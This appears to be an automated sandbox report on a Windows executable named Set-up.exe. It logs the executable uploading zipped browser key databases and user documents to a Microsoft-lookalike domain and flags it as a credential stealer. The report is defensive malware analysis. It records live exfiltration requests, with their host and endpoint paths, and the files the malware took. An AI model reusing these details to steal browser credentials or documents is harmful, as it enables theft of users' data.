May 10, 2025 08:05:48.659563065 CEST	28723	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:49.011706114 CEST	711	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:48 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FoOGlGGqPfEQFfPtqMJO%2FVw6j7Iq6CZexNOlvmMTVObLtZqYnLxDblq4XS1JweUuRrvb8xnZkZQzkXnDx3H4auo4PtAxwG0Ae8qI%2FLgh%2B6DP1CAe%2B6%2BLzf4ApWEEvkco2RWM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 93d73f38ed580111-PHX server-timing: cfL4;desc="?proto=TCP&rtt=141143&min_rtt=141143&rtt_var=70571&sent=73&recv=106&lost=0&retrans=0&sent_bytes=0&recv_bytes=140079&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49731	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:49.286974907 CEST	13580	OUT	POST /Up/b HTTP/1.1 Host: mcrsftuptade.pro Connection: close Content-Length: 524954 Content-Type: application/octet-stream Data Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 33 2e 64 62 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 f5 ac e0 c4 00 80 04 00 00 80 04 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 34 2e 64 62 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 80 00 01 01 00 40 20 20 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 6a d0 0d 7f f8 00 08 7a 3c 00 7b ee 7f c3 7b a9 7b 61 7b 1f 7a db 7a 3c 7a aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: PK\d!Rb/g1/0/key3.dbPK\d!Rb/g1/0/key4.dbSQLite format 3@ .jz<{{{a{zz<z [TRUNCATED]
May 10, 2025 08:05:49.428000927 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:49.428132057 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:49.428175926 CEST	8148	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:49.428301096 CEST	5432	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:49.428339958 CEST	8148	OUT	Data Raw: 35 35 2c 20 61 63 65 35 33 34 33 35 36 2c 20 61 63 65 35 33 34 33 35 37 2c 20 61 63 65 35 33 34 33 35 38 2c 20 61 63 65 35 33 34 33 36 34 2c 20 61 63 65 35 33 34 33 36 35 2c 20 61 63 65 35 33 34 33 36 36 2c 20 61 63 65 35 33 34 33 36 37 2c 20 61 Data Ascii: 55, ace534356, ace534357, ace534358, ace534364, ace534365, ace534366, ace534367, ace534368, ace534369, ace534373, ace534374, ace536351, ace536352, ace536353, ace536354, ace536355, ace536356, ace536357, ace536358, ace536359, ace53635a, ace53635
May 10, 2025 08:05:49.569861889 CEST	31234	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:49.569909096 CEST	17654	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:49.569991112 CEST	5432	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:49.712431908 CEST	63826	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:49.712639093 CEST	5432	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:50.852917910 CEST	706	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:50 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WaYLvIvT4F8G1gbU1VSwh4vg1pLlkVS4pn8XjuV%2B2ci81ULVmk9L7izkzK5xknweEA3FRolja504yAZ5aIbMaKNWjBg0prMQcYDCow1cideQw64LWM1MhptPadgG2Z%2FwQ3v9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 93d73f3f8d4142d9-PHX server-timing: cfL4;desc="?proto=TCP&rtt=141076&min_rtt=141076&rtt_var=70538&sent=246&recv=390&lost=0&retrans=0&sent_bytes=0&recv_bytes=525084&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49732	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:51.524108887 CEST	13580	OUT	POST /Up/g HTTP/1.1 Host: mcrsftuptade.pro Connection: close Content-Length: 14506 Content-Type: application/octet-stream Data Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 95 6c 05 f3 30 00 00 00 30 00 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 95 fa 9e d0 02 04 00 00 02 04 00 00 32 00 00 00 67 2f 55 73 65 72 73 2f 6a 6f 6e 65 73 2f 44 6f 63 75 6d 65 6e 74 73 2f 41 46 57 41 41 46 52 58 4b 4f 2f 41 46 57 41 41 46 52 58 4b 4f 2e 64 6f 63 78 41 46 57 41 41 46 52 58 4b 4f 49 4d 59 55 54 45 42 4b 4c 43 46 59 55 53 4d 50 4b 42 4c 4c 56 4c 59 43 5a 53 42 59 51 41 52 52 42 49 44 4e 4d 59 4c 50 4c 47 41 49 4a 59 42 50 58 5a 52 52 43 44 4b 57 55 4a 43 5a 46 4e 5a 59 57 4a 4c 4a 57 43 50 50 4e 57 4e 42 55 4e 55 4b 57 4b 41 4e 41 46 4a 54 47 53 4d 4e 44 4e 41 49 50 57 59 43 43 55 47 5a 54 57 43 58 49 44 55 48 4c 4b 44 49 49 46 58 56 5a 5a 43 42 4b 54 4b 5a 58 4b [TRUNCATED] Data Ascii: PK\d!Rl00(f1575b64-8492-4e8b-b102-4d26e8c70371.txt1746857132929e146be9-c76a-4720-bcdb-53011b87bd06PK\d!R2g/Users/user/Documents/AFWAAFRXKO/AFWAAFRXKO.docxAFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZN [TRUNCATED]
May 10, 2025 08:05:51.665410995 CEST	1055	OUT	Data Raw: 2f 55 73 65 72 73 2f 6a 6f 6e 65 73 2f 44 6f 63 75 6d 65 6e 74 73 2f 41 46 57 41 41 46 52 58 4b 4f 2f 41 46 57 41 41 46 52 58 4b 4f 2e 64 6f 63 78 50 4b 01 02 14 00 14 00 00 00 00 00 5c 64 21 52 95 fa 9e d0 02 04 00 00 02 04 00 00 27 00 00 00 00 Data Ascii: /Users/user/Documents/AFWAAFRXKO/AFWAAFRXKO.docxPK\d!R'g/Users/user/Documents/AFWAAFRXKO.docxPK\d!R2g/Users/user/Documents/MNULNCRIYC/MNULNCRIYC.docxPK\
May 10, 2025 08:05:51.971762896 CEST	702	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:51 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h7asmikCpMWLXommg91BH9wnjhHwysiFaQjIQpJ0VpFQyn7OYySTTYG%2Fe3FbeDUIsJQvEJxLjdtaDNuUuqQ5tZ07aFEQdP0nJW8yh4zAuCZvqIO5rpBjfFJ7t7zW%2Bv9OzQII"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 93d73f4d7ee87867-PHX server-timing: cfL4;desc="?proto=TCP&rtt=141355&min_rtt=141355&rtt_var=70677&sent=5&recv=13&lost=0&retrans=0&sent_bytes=0&recv_bytes=14635&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Target ID:	0
Start time:	02:05:20
Start date:	10/05/2025
Path:	C:\Users\user\Desktop\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Set-up.exe"
Imagebase:	0x400000
File size:	25'181'696 bytes
MD5 hash:	93704DCB189997351EC039C6E5F1AA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1236851204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:05:35
Start date:	10/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:05:36
Start date:	10/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:05:36
Start date:	10/05/2025
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7260 -s 144
Imagebase:	0x7ff7d2470000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:05:37
Start date:	10/05/2025
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7260 -s 92
Imagebase:	0x7ff7d2470000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:05:41
Start date:	10/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:05:41
Start date:	10/05/2025
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 3888 -s 144
Imagebase:	0x7ff7d2470000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:05:41
Start date:	10/05/2025
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 3888 -s 92
Imagebase:	0x7ff7d2470000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:05:46
Start date:	10/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:05:46
Start date:	10/05/2025
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1692 -s 140
Imagebase:	0x7ff7d2470000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:05:46
Start date:	10/05/2025
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1692 -s 92
Imagebase:	0x7ff7d2470000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Set-up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_6529d8499c11cd4f9e25b8c1dc6756637128dac_19d51899_4bbfac33-b74e-4b75-8964-52e4937cc66a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_6529d8499c11cd4f9e25b8c1dc6756637128dac_19d51899_ae4f23fe-4453-4c08-8e49-5ec9a4d99431\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_6529d8499c11cd4f9e25b8c1dc6756637128dac_19d51899_da2a02b0-90a6-4a28-9c90-2e5bef4746ea\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_653df720363a23f9fbf1c3440f42767b874ec_19d51899_5409b9b5-c318-4fb1-b93f-79ad37fbd536\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_653df720363a23f9fbf1c3440f42767b874ec_19d51899_8e7d8957-4f25-4f86-92ca-b4478f3aa501\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_653df720363a23f9fbf1c3440f42767b874ec_19d51899_b0903a45-bedb-4fc8-8d02-4a5e159b6a4a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D82.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3DE1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E5F.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER416A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER419A.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4208.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER502F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER506F.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER509F.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5281.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER52EF.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5458.tmp.xml

Windows Analysis Report
Set-up.exe